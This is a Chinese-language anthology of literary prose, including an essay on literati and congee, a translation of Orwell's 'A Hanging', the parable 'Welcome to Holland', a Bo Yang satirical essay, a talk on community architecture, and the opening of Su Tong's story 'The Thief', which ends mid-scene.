　　旧时文人，很提倡甘于清苦的精神，在《颜氏家训》中，提到了一位叫裴子野的文人，说他“有疏亲故属”，凡“饥寒不能自济者，皆收养之。家素清贫，时逢水旱，二石米为薄粥，仅得偏焉，躬自同之，常无厌色。”只有自己饥饿过，才能体会别人饥饿的痛苦，裴子野与众亲友一齐捧碗啜粥，那是充满了人情味的温馨场面。

　　同样，从郑板桥《家书》看到，给他弟弟的信里说：“十冬腊月，凡乞讨者登门，务饷以热粥，并佐以腌姜。”也可知只有自己清寒过，才能了解别人清寒的窘境。中国文人与粥，这种不同一般的感情，都由于他们自身的贫苦体验而来。正因如此，这些喝粥文人的文章里，才能多多少少地反映出民间的疾苦。

　　由此看来，若曹雪芹一直过着“钟鸣鼎食”、“锦衣饫食”的生活，未必会写出《红楼梦》来。他的文友敦诚、敦敏兄弟，在诗中说到他贫居北京西山时的窘迫景况，“满径蓬蒿老不华，举家食粥酒常赊”，使我们知道他是文人中的“食粥族”，正由于他家境没落以后，处在生活贫穷线上，才了解到人世的沧桑，时事的艰窘，仕途的险恶，命运的坎坷吧？

　　敦诚的诗，自然有诗人的夸张成分。曹雪芹那时的确生计艰难，但尚可以到小铺去赊二两酒，看来，还不到只是以粥果腹，舍此别无其它的地步。

　　若以郑板桥自叙的“半饥半饱清闲客，无锁无枷自在官”而言，能相信他是一位吃了上顿无下顿的七品县令吗？要饿得两眼发青，曹雪芹写不出《红楼梦》，郑板桥也画不出墨竹了。然而，他们过着的是当时普通老百姓的生活，当无疑问。在物质水平上，与大多数人相同，因此在认知上，更接近劳苦大众一些，是自然而然的事。而那些戴着白手套，坐在象牙之塔里的作家，一天到晚打饱嗝，从无饥饿之苦，穷困之痛，也就难以与喝粥的中国大多数人共鸣，便一点不奇怪了。

　　中国旧时文人，由于喝粥的结果，多半喝出一个淡泊的精神世界，实在是值得后人景仰的。他们或坚贞自守，或安贫乐道，或充实自信，或知足不争，但在他们的笔下，却总是程度不同地要发出对社会，对民众，对国家，对世界的真实反响。有的，哪怕为之付出生命，也要说出大多数人想说的话，这就是喝粥文人与大多数喝粥普通人的心灵感应了。

　　文学，要都是风花雪月，虚无缥缈，没有老百姓的真情实感，恐怕也够呛的。

　　选自金光闪闪的《人民日报海外版》

行刑

乔治 · 奥威尔

　　缅甸，一个雨水浸湿的早晨。惨谈的灯光越过高墙，照到监狱的院子里。死囚牢房的外面钉着两层铁栅栏，就像关动物的小笼子。每间牢房大约 10 英尺见方，里面除了一张木板床和一壶饮用水再无其他摆设。在另外几间牢房里，棕色皮肤的死囚默默地蹲在里面的一道铁栅栏后，用床单裹着身子，在一两星期内他们就要被绞死了。

　　有一个印度死囚已被带出了牢房。他是个身材瘦小的人，光头，眼球混浊。他浓密茂盛的胡子，大得同他的身材很不协调，显得十分可笑，很像电影里滑稽角色的道具。有 6 个高大的印度狱卒押解着他，为把他送上绞刑架作准备。两个人扛着上了刺刀的步枪站在一旁，其余的人在给他上手铐，把一条铁链穿过他的手铐再系到自己的腰带上，然后又把囚犯的胳膊捆紧在他身子两侧。他们贴着囚犯，手总是放在他身上，小心地抓着，好像在对付一条依然活着，随时可能跳回到水里去的鱼一样。但是死囚站在那里，一点也没有反抗，听任双臂给绳子勒得紧紧地，好像他根本觉得无所谓。

　　时钟敲了 8 下，一声军号从远处营房那里飘过来，在湿漉漉的空气中，这种声音显得轻而且凄凉。狱长站在离我们不远的地方，他闷闷不乐地用手杖在沙砾地上划着，一听到号声就拾起头来。他是个军医，留着短而齐的灰色胡子，声音粗哑。"快些，快些，佛朗西斯，"他不快地说。"这人现在早该上绞架了。你难道还没有准备好？"佛朗西斯是个身体肥胖的达罗毗荼人，狱卒的头目，他身穿白色卡其布工作服，鼻子挎着一副金丝眼镜。他挥一下黑色的手，忙不迭地说："好了，长官，好了，一切都准备好了，没有问题，刽子手正在那等着。我们可以去了。""那么快走吧。这活干完了犯人们才能吃早饭呢。"我们走向绞刑台。两个肩上扛着步枪的狱卒走在囚犯的两旁，另外两个抓住他的肩膀和胳膊紧挨着他，好像是一边推着他，一边夹着他。其余的人，包括法警和我们跟在后面。刚走了 10 码远，行列突然停止了，事前没有收到命令或警告。一件令人意想不到的事情发生了，不知从哪里窜出来的一条狗，突然出现在院子里。它大声狂叫，冲到我们中间来，围着我们又跑又跳，全身摇晃，看到有这么多的人在一起，这条多毛的杂种大狗十分兴奋。它在我们周围窜跳了一阵子，就突然扑向囚犯，跳起来居然想舔他的脸，大家都吓呆了，站在那里一动也不动，惊慌之下竟没有人想起去抓那条狗。

　　"谁放这条该死的畜牲进来的？"狱长异常生气地问道："你们快抓住它！"有个狱卒离开押送的队伍，开始笨手笨脚地追那条狗，但是那狗像是和他在做游戏，跑着蹦着不让他走近。一个年轻的混血狱卒抓起一把石子砸去，想把那条狗赶走，但是那条狗躲过了石子，又向我们奔来。它的叫声从狱墙上反弹了回来。那个囚犯被抓在两名狱卒手中，面无表情地看着，好像这是绞刑的一部分。几分钟之后人们才设法抓住了那条狗，他们用我的手帕拴住狗的项圈，再次出发，那条狗仍在呜咽着、挣扎着。

　　绞刑台快到了。我看着那个囚犯的赤裸的棕色后背不时地在我面前晃动。他的胳膊给捆紧了，走路不大方便，但是他步伐很稳，那种一颠一颠的步态是直着腿走路的印度人所特有的。他每走一步，脑袋上的那绺头发上下舞动，肌肉就一张一弛，双脚在湿地上留下脚印。我看到，尽管有狱卒抓住他的双肩，他还是稍微侧身，灵活地躲开地上的一滩积水。

　　一直到这时候为止，我才明白到杀死一个健康并且神志清醒的人意味着什么。这是一件很奇怪的事，当我看到那个囚犯侧身想躲避那洼水时，我才了解扼杀一个正当壮年的人的意义，那是一种无法言喻的错误。这个人像我们一样是活人，并不是痛得快死的人。他身上的所有器官都在工作：肠子在消化，皮肤在更新，指甲在生长，组织在形成，所有这一切都在分工明确地忙活着。他站在绞刑台上，离他生命的终点还有十分之一秒时，他的指甲仍在长。他的眼睛仍能看到黄色的石头和灰色的墙，他的脑子仍在记忆、预见、思考甚至会想到那积水。他和我们都是一样的，看到的、听到的、感觉到的、了解到的都是同一个世界，但是在两分钟之后，他就会"啪"的一声永远地去了，去了另个世界，灵魂也随风而逝。

　　绞刑台设在一个同监狱的大院相邻的小院子里，长满了高高的刺人的野草。绞刑台是用砖头砌的，像一所三面有墙的平房，上面铺着木板，木板的顶上有两条大梁和一条横杠，横杠上挂着绳子。刽子手是个身穿白色制服，头发花白的囚犯。他正站在绞刑架旁边。我们进院时他对我们点头哈腰笑脸相迎。佛朗西斯一声令下，两个狱卒把囚犯夹得更紧了，他们半推半拉地把他拖到绞刑台前，拉着他笨手笨脚地爬上了阶梯。然后刽子手爬了上去，把绞索套到了囚犯的脖子上。

　　我们等在几米外的地方。狱警们围着绞刑台站成一个圆圈。在绞索套好了以后，那个囚犯就开始大声重复的叫喊："罗摩！罗摩！罗摩！"。那是他心中的上帝。他喊地不像祷告或求救那样充满恐惧，而是不慌不忙有节奏的，几乎像教堂的钟声那样。那条狗听到叫声就哀嚎起来。刽子手拿出一个像面口袋一样的小布袋，套在囚犯的头上。但是呼喊声仍可听见，只是隔了一层布听起来有些发闷，这个声音重复地叫着："罗摩！罗摩！罗摩！"。狱长的脑袋耸拉在胸前，手杖慢慢地拨弄着地面。也许他正在数数，让囚犯喊到一定数目，也许五十声，也许一百声。大家的脸色都变了。印度人的脸色变成了劣制咖啡的灰白色，一把或者两把刺刀在摇晃。我们看着那站在绞刑台上被绳子捆着、脑袋蒙着的囚犯，听着他在一秒一秒地数着自己的生命，我们都是一个想法：唉，动手吧，快点把事办完，别让他再这么讨厌的叫唤了！

　　狱长忽然拿定了主意，他抬起头，迅速地挥一下手杖。"行刑！"他几乎愤怒地叫了一声。

　　很轻地响了一声，接下来是一片死寂。囚犯消失了，绳子自己转着绞了起来。我撒开狗，它立刻蹿跳到绞刑台的后面，但是它一跑到那里就停下来了，呜咽着。接着又灰溜溜地躲到院子的一个角落，站在野草丛里，胆怯地望着我们。我们绕到绞刑台的后面去检查囚犯的尸体。他吊在那里，脚趾笔直朝下，身子还在慢慢地转动着，已经死了。

　　狱长用手杖，戳一戳赤裸的尸体，它轻轻地摆一下。"他完了。"狱长说。他从绞刑台下退出来，深深地吸了一口气。阴郁的表情突然从他的脸上消失了。他看一下手表："八点零八分。好吧，今天上午就到此结束，谢谢上帝。"狱警卸下了刺刀，起步走开了。那条狗也清醒过来，明白了刚才的行为大跌身份，乖乖地跟着他们。我们走出耸立着绞刑台的院子，走过死囚室和里面等着的死囚面前，回到了监狱的大院子。在带着警棍的狱警的监督下，囚犯们正在领早餐。他们蹲在地上，两名狱卒提着饭桶把饭舀进他们的铁皮缸子里去。在绞刑以后，这个景象看上去很安宁祥和。我们大家因为该做的事已经做完而觉得松了一口气。你感到某种要唱歌，要奔跑，要大笑的冲动，大家都开始在轻松友好地交谈了。

　　那个走在我身旁的混血狱警用头指一指我们过来的方向，心照不宣地微笑道："你知道吧，长官，刚才的朋友（刚死去的那个人）听到上诉被驳回，吓的尿了一裤子。请抽一支烟，长官，不要客气，我这新买的银烟盒怎么样，长官？这是从小摊上买的，两个卢比八个安纳，高级的欧洲花样。"有好几个人笑了，到底笑什么，似乎谁也不知道。

　　佛朗西斯在狱长身边，喋喋不休地唠叨着："真是不错，长官，一切顺利。咔嚓一下，一切都很快结束了，就是那样。以前并不是总能这样的，据我所知有几次还得要请医生来钻到绞刑台下去使劲拽囚犯的腿才使他快点死。真是够讨厌的！""拽他的腿，唔？那太糟了。"狱长说。

　　"啊，长官，死囚不听指挥时更糟了！我记得有一个人，在我们带他去行刑时他死拽住笼子的铁栏杆不放。说来您都不信，长官，派了 6 个狱卒才把他拉开，3 个人扯一条腿。我们向他讲道理。我们说：'朋友，你想想，你这样给我们招来多少麻烦！'但他就是不听！啊，他真是不好对付！"大家都在笑，我发现我也在大声笑着。甚至狱长也宽容地咧着嘴。"你们不如一起来喝一杯，"他很和蔼地说："我在车上有一瓶威士忌。我们可以干掉它。"我们来到了路上。"拽他的腿！"一个缅甸法警忽然说道，格格地大笑起来。我们大家又都笑了起来。佛朗西斯的故事似乎显得特别好笑。我们大家在一起亲热地喝了一杯酒，本地人和欧洲人不分彼此。那个死人就在 100 码以外安静地躺着。

欢迎你到荷兰来

金斯利

　　时常有人问起我抚育残疾孩子的经历，以便帮助那些不曾有过这种独特经历的人对此有所理解。我的感受是这样的……

　　当你想要孩子的时候，就好象是规划一次愉快的意大利旅行。你买回一大堆的旅行指南，把旅行计划安排的详尽而周密：罗马圆形大剧场、米开朗基罗、威尼斯的贡多拉，或许，你还会学点简单的意大利语……一切都是那么让人兴奋。

　　经过几个月的热切期盼，这一天终于到了。你打点好自己的行装出发了。几个小时之后，飞机降落。空姐走过来，笑盈盈地说道：“欢迎你到荷兰来！”

　　“荷兰？”你感到茫然不解。

　　“怎么可能是荷兰？我可是要去意大利度假的！我一生的梦想就是去意大利旅行，我应该到意大利呀！”

　　然而，航班改变了飞行计划，飞机已在荷兰降落，你必须停留在这里。还好，这里也不是什么瘟疫肆虐、饥荒遍地的恐怖之地。只不过换了一个地方而已。

　　于是，你别无选择地下了飞机。重新去买些旅行指南，抓紧学习当地陌生的语言，你还会遇到很多你本来永远也不会遇到的人。不过换了一个地方而已。这里的生活节奏要比意大利慢的多，这里的生活也不如意大利绚丽多彩。来到荷兰之后，你歇上一口气，就该四处去看一看。你会发现，荷兰有风车，荷兰有郁金香，荷兰还有伦勃朗……

　　可是，你所认识的人都在忙着一次又一次地去意大利旅行，都在大谈意大利的旖旎风光。你的下半辈子都会在重复这样一句话：“是的，我本该也去意大利。我原计划就是去意大利旅行。”

　　这次经历给你带来的痛苦是永远也挥之不去的；那个梦想的丧失是永远无法弥补的损失。

　　可是，如果你的一生都用来为错过了意大利之行而懊伤，你将永远无法享受荷兰独特而美丽的风景。

千古伤心是结婚

柏杨

　　柏杨先生有位朋友，膝下只有一个女儿，宝贝得要命，按说独生女儿一定会娇纵过度而不成才，其不流入太妹或自甘堕落者，几希。偏偏该朋友祖宗有德，女儿虽娇纵得不像话，可是却没有流入太妹，不但没有流入太妹，反而功课奇好，尤其数理奇好。这年头，一个年轻人只要数理奇好，就等于吃了神仙丸，想怎么念就怎么念。她阁下一条鞭上去，由小学，而中学；由中学，而大学；由大学，而留学；最后在美国啥啥理工学院，成为该校有史以来的第一位航空女博士。中美同胞，无不惊叹，认为她将来定会在社会上露一手。尤其是她的老娘，兴奋得坐卧不安，东串门西串门，宣传她女儿如何如何，谁要是说三句话还没有夸奖到她女儿，那比杀父之仇还严重，老娘能恨他一辈子。柏杨先生深知她有这种绝症，所以一见面就恭维她好福气，有这么个好女儿，总算不虚此一生也。有一次，我出奇计灌米汤曰：“看你女儿，多有出息，天分高，教养好，她总有一天要得诺贝尔奖的，到时候，带着妈妈到斯德哥尔摩领奖，你也可见见活国王，报上再那么一登，真光彩呀！”她曰：“你说啥，死得脱？啥叫死得脱？”我曰：“不是死得脱，是斯德哥尔摩，瑞典国的京城，到那地方领奖呀，听说第一等奖奖金就是美金 20 万。”她看我应对称旨，立刻用一种唯恐怕不被说服的声调叫曰：“我可没有那种福气呀，不过我女儿倒蛮有雄心，前些时还来信说正在研究研究啥呀，好多博士都佩服她哩！”说罢之后，立刻打开手提包，给了我一支她女儿从美国寄回来的洋烟，以励来兹。

　　这是 4 年前春天的事了，今年春天，偶尔又碰到她，我还是照着老规矩，没头没脑地称赞她女儿，最初她支支吾吾，后来因我跟在她屁股后面赞个没完，她没好气曰：“老头，你歇歇舌头好不好？”这一次连洋烟也没掏，就扬长而去。

　　事后才知道，老太婆发那么大的威，不是宝贝女儿死啦，也不是宝贝女儿忘了娘，而是宝贝女儿得了博士学位不久，就结了婚。老太婆当然不反对女儿结婚，可是结了婚之后，跟着就是生子，而且生起来像北平卖的冰糖葫芦一样，“大珠小珠落玉盘”，三年就生了三个。如果她身在中国，问题还小，盖中国人工不值钱，请个帮工小姐，就可以分忧。无奈身在美利坚，人工贵得可怖，买菜、煮饭、抱娃、喂奶、铺床、叠被、洗衣服、熨衣服、洗盘子、换尿布，大自“电线走火”，小至买根针，都事必躬亲。亘古奇观的女博士，遂成了一个管家黄脸婆。

　　我们介绍这个故事，并不是触谁的霉头兼碰谁的疮疤，尤其是毫无轻视家庭主妇之意，盖世界上可以没有女博士，却不能没有家庭主妇也。在对人类做的贡献的价值上，家庭主妇要超过女博士千百万倍。这可不是拍家庭主妇的马屁，以便将来挨门讨饭；而是没有女博士，世界仍是世界，没有家庭主妇的世界，则简直不能想象。不过，问题在于，一个家庭主妇，只要受国民小学堂教育，就可愉快胜任；而一个女博士，恐怕至少也要投下去 20 个年华。7 岁上小学堂的话，最快毕业的博士也 27 岁矣（有的年已半百，头发都白啦，还在往里钻，那就更是紧张）。国家花了这么多的钱，自己也费了那么大劲，不过造就一个管家婆，成本未免太高。这种浪费，恐怕连太行山都得赔进去。如果将来大学堂全体成了女学生，而女学生又全体冲进厨房煮饭抱娃，中国的高级知识界，势将成为真空。夫国家培养一个科学家，就有理由、也有权利，要他从事科学研究工作，如果所有的科学家一齐坚决地蹲到河边捞鱼，那又何必培养这么多科学家，直截了当培养捉鱼的好啦。

　　女博士嫁人当然是应该的，但如果她阁下折腾了半辈子不过只是煮饭抱娃，我们就忍不住要疑心，当初何必那么穷凶极恶，把臭男人从榜上挤到枯井里乎？当她阁下午夜人静，半闭着瞌睡得要命的秋波，从床上爬起来喂孩子奶时，隐隐约约，不知道听没听到枯井里的哭声也。吾友盛紫娟女士，她在香港读大学时，兼编了好几个刊物，日正当中，前途无量，却忽然结了婚。结婚之日，来信描写远景说，她丈夫是个大律师（也可能是个工程师，日子一久，记不清矣），生活不成问题，所以一定要好好写几本小说。我老人家就一百个不信，盖小姐一旦变成太太，她的朋友圈就会来一个 180 度的转弯，生活方式也会跟着别有天地，而且一有了孩子，更是全盘皆垮。不要说写小说，能有心情看小说，已很可贵矣。她对我的看法颇不服气，在信上致训词曰：“你这个老顽固，总自以为是，总用你过去的陈腐经验去判断新的事物，务请拭目以待。”好吧，我就拭目以待，拭到了今天，已整整 5 年，她不但没有一本小说问世，而且音讯杳然，像是从地球上失了踪。呜呼，非她不上进也，而是形势比人强也。不过女作家和女博士之间又有不同，女作家 20 年之后，儿女渐渐长成，她仍可继续爬她的稿纸，起初可能有点生疏，久了也就可以应付，而且随着年龄见识的增长，作品或许可能更成熟。可是女博士学的是航空工程，20 年之后——不要说 20 年之后，纵使 3 年之后，她学的那一套已落伍了十万八千里，她就不得不成为废料。

社区建筑

梁文道

　　我们知道在现代那些君主立宪国家里面一般有个传统，什么传统，就是身为王室成员或者是国王或者是王储，不能够随便议论社会的事情或者是政治的事情，免得给人说你干政，最好尽量对什么事都要保持中立。但是英国的查尔斯王储他不一样，他怎么样呢？他很喜欢到处发表意见，那么发表一些意见还常常惹起社会争论。这些争论有时候你觉得很可笑，有时候你又很佩服他，比如说在 1984 年的时候，他曾经在英国对着一帮最有名望的建筑师大发议论，讲什么呢？痛骂了几个建筑师。

　　那些建筑师都是现代建筑史上的巨匠，但他说什么呢？他说他们盖的这些东西像棺材一样，冷冰冰的，毫无人性，没有老百姓会喜欢的，结果惹起轩然大波。很多建筑师就耻笑查尔斯王子，就说你别以为你是王储就懂艺术，你完全是个门外汉，你根本不懂什么叫建筑艺术。但是查尔斯王子这番话后来却被很多人认为是现代社区建筑跟社区规划的一个最重要的一个里程碑。

　　我今天给大家介绍的这本书《社区建筑》，这本书背后的推荐就有威尔斯，就是查尔斯王储给他们写的推荐的话，那么这本书的作者理克华兹和查里斯肯尼维奇，他两人都是在英国长期关注社区建筑跟社区规划的一些建筑师，跟一些作家，还有记者。

　　好，说回来，什么叫做社区建筑，什么叫社区规划？其实呢，它的道理是这样的，就是它起源自上个世纪的六十年代末七十年代，那到八十年代才真正开始变成一股风潮，一股运动。它原来的起点是什么呢？就是当时有很多的城市，有很多的区域纷纷破败下来，住久了嘛，房子坏了，也旧了。那么政府向来对待这种情况，标准的做法，就是比如说把它拆掉，居民拆迁，而且在市中心的地方嘛，对不对，我卖给商人卖给地产商还能赚钱，对不对，这很重要，这也是今天我们在全国各地都能看到的一个景象。

　　但是当时有一帮居民他们完全提出了不一样的思路，怎么样的思路呢？就是说我拒绝搬走，没错，我们现在住这地方不好，但是我们可以改善它，我们为什么不想搬走，一来这个地方在市中心，我们孩子在附近的地方上学，我在附近的地方打工，你把我搬走，我以后靠什么维生呢？对不对。二来我们这个地方已经有社区网络，就像我们这个礼拜一介绍（英文）美国大臣…说到的，社区网络才是城市最重要的宝贝的资源，对不对。

　　那么在这种情况之下，这些社区老百姓就团结起来了，就想搞好自己的社区，搞好自己的建筑物，拒绝拆迁，拒绝搬走，他们想找另外一种出路。结果，我们看一下他们找到什么出路，这里面有个很经典的例子，就是当年有这么一个区域，它在英国中部的一个城市，这么一条街，是布莱克街。

　　这个布莱克街呢本来是要拆迁的，是要完全拆掉，但是呢，这里面的老百姓们请了当地的一个建筑师帮助，能不能够好好维修这个地方，于是他们成立一个委员会。这个委员会呢就是大家决议交给这个建筑师去帮他们重新规划这个地方，然后同时这个老百姓们自己去想办法去游说政府跟议员，让他们保留这个地方，不要搬他们，这变成一股社会运动。

　　很有意思的是什么呢？就是这个建筑师，当时他们找这些建筑师是住在当地的，这当然在全世界有个建筑师他不是坐在自己办公室里面，而是就混在他将要新建改造的街区里面，天天二十四小时呆在那边。然后大伙跟他怎么干呢？这个建筑师还有规划师他们不是像过去的传统的规划师建筑师一样，从上而下坐在办公室，像神一样往下看想你们怎么住最舒服，你们怎么活最好，而是完全参考老百姓的意见，走到民间。结果盖出来的房子，每家每户他的门的大小不一样，每家的这个室内的安排也不一样，完全是按照各家人的需要。

　　而且呢，我们看一下这些图片，你还可以看到，他们还现在社区建筑已经发展出来很多的规划游戏，比如说拿一些房子的模型，一些建筑物的模型在地上让小孩搬来搬去，自己试验一下怎么去规划这个地方。更厉害的是什么呢，就是他们还鼓励自己建房子，不希望靠地产商不希望靠中间商，我们每个人都能够学到一些很简单的技术，用很简单的材料就能够自己盖房子给自己住了，这就是社区建筑运动的一个精髓所在。

　　就是说呢，我们现在规划城市，我们现在规划建筑物跟住宅区，我们住的单位，不需要依靠一些专家跟政府或者地产商帮我们安排好。我们可以人民自力更生，按照人民的需要，还有专业人士要放下身段，他从过去的一个设计者，要变成一个促进者，是为了要教育大家建筑是怎么回事，规划是怎么回事，大家理解之后再把自己的意见告诉他，他帮大家发展自己的专业论理，共同去完成这么一个规划。

　　我觉得今天中国的城市面对了很多很多的问题，我们是不是也可以考虑越来越多的餐饮室的规划，把城市的空间，把城市的使用权把住宅的使用权跟设计权还到我们每个老百姓的手中呢？我想起来，我以前念大学的时候，曾经去过一个新街一个朋友家里边，他那个家形状很奇怪，是一个平房，田地上的，非常不规则，他很喜欢指给我看，你看这间房是我爸哪一年盖起来的，那间房是我爸哪一年弄起来的，我说你爸是盖房子的吗？他说不是啊，我爸是个农户。

　　我就想起来，原来以前的人真的都是会自己盖房子的，都有这种能力，不知道从什么时候开始，我们跟我们的住宅之间的关系变成不是买就是租，我们很少再想过自己建房子。当然了，建房需要的是土地，而土地就像我们前天说过的，是我们资本主义社会底下最重要的财货，哪有那么容易交给你们啦。

小偷

苏童

　　小偷在箱子里回忆往事。如此有趣的语言总是有出处的。事实上它来自于一次拆字游戏。圣诞节的夜晚，几个附庸风雅的中国人吃掉了一只半生不熟的火鸡，还喝了许多白葡萄酒和红葡萄酒。他们的肠胃没有产生什么不适的感觉。他们聊天聊到最后没什么可聊了，有人就提议做拆字游戏。所谓的拆字游戏要求参加者在不同的纸条上写下主语、状语、谓语、宾语，纸条和词组都多多益善，纸条与词组越多组合成的句子也越多，变化也越大。他们都是个中老手，懂得选择一些奇怪的词组，在这样的前提下拼凑出来的句子就有可能妙趣横生，有时候甚至让人笑破肚皮。这些人挖空心思在一张张纸条上写字，堆了一桌子。后来名叫郁勇的人抓到了这四张纸条：小偷在箱子里回忆往事。

　　游戏的目的达到了，欢度圣诞节的朋友们哄堂大笑。郁勇自己也笑。笑过了有人向郁勇打趣，说，郁勇你有没有可以回忆的往事？郁勇反问道，是小偷回忆的往事？朋友们都说，当然是小偷回忆往事，你有没有往事？郁勇竟然说，让我想一想。大家看着郁勇抓耳挠腮的，并没有认真，正要继续游戏的时候，郁勇叫起来，我要回忆，他说，我真的要回忆，我真的想起了一段往事。

　　这是谁也没有预料到的，郁勇说了一个别人无法打断的故事。

　　我不是小偷，当然不是小偷。你们大概都知道，我不是本地人，我在四川出生，小时候跟着我母亲在四川长大。我母亲是个中学教师，我父亲是空军的地勤人员，很少回家。你们说像我这种家庭环境里的孩子可能当小偷吗，当然不会是小偷，可我要说的是跟小偷沾边的事情，你们别吵了，我就挑有代表性的事情说，不，我就说一件事吧，就说谭峰的事。

　　谭峰是我在四川小镇上的唯一一个朋友，他跟我同龄，那会儿大概也是八九岁。谭峰家住在我家隔壁，他父亲是个铁匠，母亲是农村户口，家里一大堆孩子，就他一个男的，其他全是女孩子，你想想他们家的人会有多么宠爱谭峰。他们确实宠爱他，但是只有我知道谭峰偷东西的事情，除了我家的东西他不敢偷，小镇上几乎所有人家都被他偷过。他大摇大摆地闯到人家家里去，问那家的孩子在不在家，就那么一会儿功夫，他就把桌上的一罐辣椒或者一本连环画塞在衣服里面了。有时候我看着他偷，我的心砰砰地跳，谭峰却从来若无其事。他做这些事情不避讳我，是因为他把我当成最忠实的朋友，我也确实给他做过掩护，有一次谭峰偷了人家一块手表，你知道那时候一块手表是很值钱的，那家人怀疑是谭峰偷的，一家几口人嚷到谭峰家门口，谭峰把着门不让他们进去，铁匠夫妻都出来了，他们不相信谭峰敢偷手表，但是因为谭峰嘴里不停地骂脏话，铁匠就不停地拧他的耳朵，谭峰嘴犟，他大叫着我的名字，要我出来为他作证，我就出去了，我说谭峰没有偷那块手表，我可以证明。我记得当时谭峰脸上那种得意的微笑和铁匠夫妇对我感激涕零的眼神，他们对围观者说，那是李老师的孩子呀，他家教好，从来不说谎的。这件事情就因为我的原因变成了悬案，过了几天丢手表的那家人又在家里发现了那只手表，他们还到谭峰家来打招呼，说是冤枉了谭峰，还给他送来一大碗汤圆，谭峰捧着那碗汤圆叫我一起吃，我们俩很得意，是我让谭峰悄悄地把手表送回去的。

　　我母亲看不惯谭峰和他们一家，不过那个年代的人思想都很先进，她说能和工农子弟打成一片也能受一点教育，她假如知道我和谭峰在一起干的事情会气疯的，偷窃，我母亲喜欢用这个词，偷窃是她一生最为痛恨的品行，但她不知道我已经和这个词汇发生了非常紧密的联系。

　　假如不是因为那辆玩具火车，我不知道我和谭峰的同盟关系会发展到什么程度。谭峰有一个宝库，其实就是五保户老张家的猪圈。谭峰在窝藏赃物上很聪明，老张的腿脚不太灵便，他的猪圈里没有猪，谭峰就挖空了柴草堆，把他偷来的所有东西放在里面，如果有人看见他，他就说来为老张送柴草，谭峰确实也为老张送过柴草，一半给他用，一半当然是为了扩大他的宝库。

　　我跟你们说说那个宝库，里面的东西现在说起来是很可笑的，有许多药瓶子和针剂，说不定是妇女服用的避孕药，有搪瓷杯、苍蝇拍、铜丝、铁丝、火柴、顶针、红领中、晾衣架、旱烟袋、铝质的调羹，都是些乱七八糟的东西。谭峰让我看他的宝库，我毫不掩饰我的鄙夷之情，然后谭峰就扒开了那堆药瓶子，捧出了那辆红色的玩具火车，他说，你看。他小心翼翼地捧着火车，同时用肘部阻挡我向火车靠近，他说，你看。他的嘴上重复着这句话，但他的肘部反对我向火车靠近，他的肘部在说，你就站那儿看，就看一眼，不准碰它。

　　那辆红色的铁皮小火车，有一个车头和四节车厢，车头顶端有一个烟囱，车头里还坐着一个司机。如今的孩子看见这种火车不会稀罕它，可是那个时候，在四川的一个小镇上，你能想象它对一个男孩意味着什么，是人世间最美好的东西，对吗？我记得我的手像是被磁铁所吸引的一块铁，我的手情不自禁地去抓小火车，可是每次都被谭峰推开了。

　　你从哪儿偷来的？我几乎大叫起来，是谁的？

　　卫生院成都女孩的。谭峰示意我不要高声说话，他摸了一下小火车，突然笑了起来，说，不是偷的，那女孩够蠢的，她就把小火车放在窗前嘛，她请我把它拿走，我就把它拿走了嘛。

　　我认识卫生院的成都女孩，那个女孩矮矮胖胖的，脑子也确实笨，你问她一加一等于几，她说一加一是十一。我突然记起来成都女孩那天站在卫生院门前哭，哭得嗓子都哑了，她父亲何医生把她扛在肩上，像是扛一只麻袋一样扛回了家，我现在可以肯定她是为了那辆小火车在哭。

　　我想象着谭峰从窗子里把那辆小火车偷出来的情景，心里充满了一种嫉妒，我发誓这是我第一次对谭峰的行为产生嫉妒之心。说起来奇怪，我当时只有八九岁，却能够掩饰我的嫉妒，我后来冷静地问谭峰，火车能开吗？火车要是不能开，就没什么稀罕的。

　　谭峰向我亮出了一把小小的钥匙，我注意到钥匙是他从裤子口袋里掏出来的，一把简单的用以拧紧发条的钥匙。谭峰露出一种甜蜜的自豪的微笑，把火车放在地上，他用钥匙拧紧了发条，然后我就看见小火车在猪圈里跑起来了，小火车只会直线运动，不会绕圈，也不会拉汽笛，但是这对于我来说已经是一个奇迹了。我不想表现得大惊小怪，我说，火车肯定能跑，火车要是不能跑还叫什么火车？

　　事实上我的那个可怕的念头就是在一瞬间产生的，这个念头起初很模糊，当我看着谭峰用柴草把他的宝库盖好，当谭峰用一种忧虑的目光看着我，对我说，你不会告诉别人吧？我的这个念头渐渐地清晰起来，我没说话，我和谭峰一前一后离开了老张的猪圈，路上谭峰扑了一只蝴蝶，他要把蝴蝶送给我，似乎想作出某种补偿。我拒绝了，我对蝴蝶不感兴趣。我觉得我脑子里的那个念头越来越沉重，它压得我喘不过气来，可是我无力把它从我脑子里赶走。

　　你大概能猜到我做了什么。我跑到卫生院去找到了何医生，告诉他谭峰偷了他女儿的小火车。为了不让他认出我的脸，我还戴了个大口罩，我匆匆把话说完就逃走了。回家的路上我恰好遇到了谭峰，谭峰在学校的操场上和几个孩子在踢球玩，他叫我一起玩，我说我要回家吃饭，一溜烟似的就逃走了。你知道告密者的滋味是最难受的，那天傍晚我躲在家里，竖着耳朵留心隔壁谭峰家的动静，后来何医生和女孩果然来到了谭峰家。

　　我听见谭峰的母亲扯着嗓子喊着谭峰的名字，谭峰父亲手里的锤子也停止了单调的吵闹声。他们找不到谭峰，谭峰的姐姐妹妹满镇叫喊着谭峰的名字，可是他们找不到谭峰。铁匠怒气冲冲地来到我家，问我谭峰去了哪里，我不说话，铁匠又问我，谭峰是不是偷了何医生家的小火车，我还是不说话，我没有勇气作证。那天谭铁匠干疤的瘦脸像一块烙铁一样滋滋地冒出烈焰怒火，我怀疑他会杀人。听着小镇上响彻谭峰家人尖利疯狂的喊声，我后悔了，可是后悔来不及了，我母亲这时候从学校回来了，她在谭峰家门前停留了很长时间，等到她把我从蚊帐后面拉出来，我知道我把自己推到绝境中了。铁匠夫妇跟在我母亲身后，我母亲说，不准说谎，告诉我谭峰有没有拿那辆小火车？我无法来形容我母亲那种严厉的无坚不摧的眼神，我的防线一下就崩溃了，我母亲说，拿了你就点头，没拿你就摇头。我点了点头。然后我看见谭铁匠像个炮仗一样跳了起来，谭峰的母亲则一屁股坐在了我家的门槛上，她从鼻子里摔出一把鼻涕，一边哭泣一边诉说起来。我没有注意听她诉说的内容，大意反正就是谭峰跟人学坏了，给大人丢人现眼了。我母亲对谭峰母亲的含沙射影很生气，但以她的教养又不愿与她斗嘴，所以我母亲把她的怨恨全部发泄到了我的身上，她用手里的备课本打了我一个耳光。

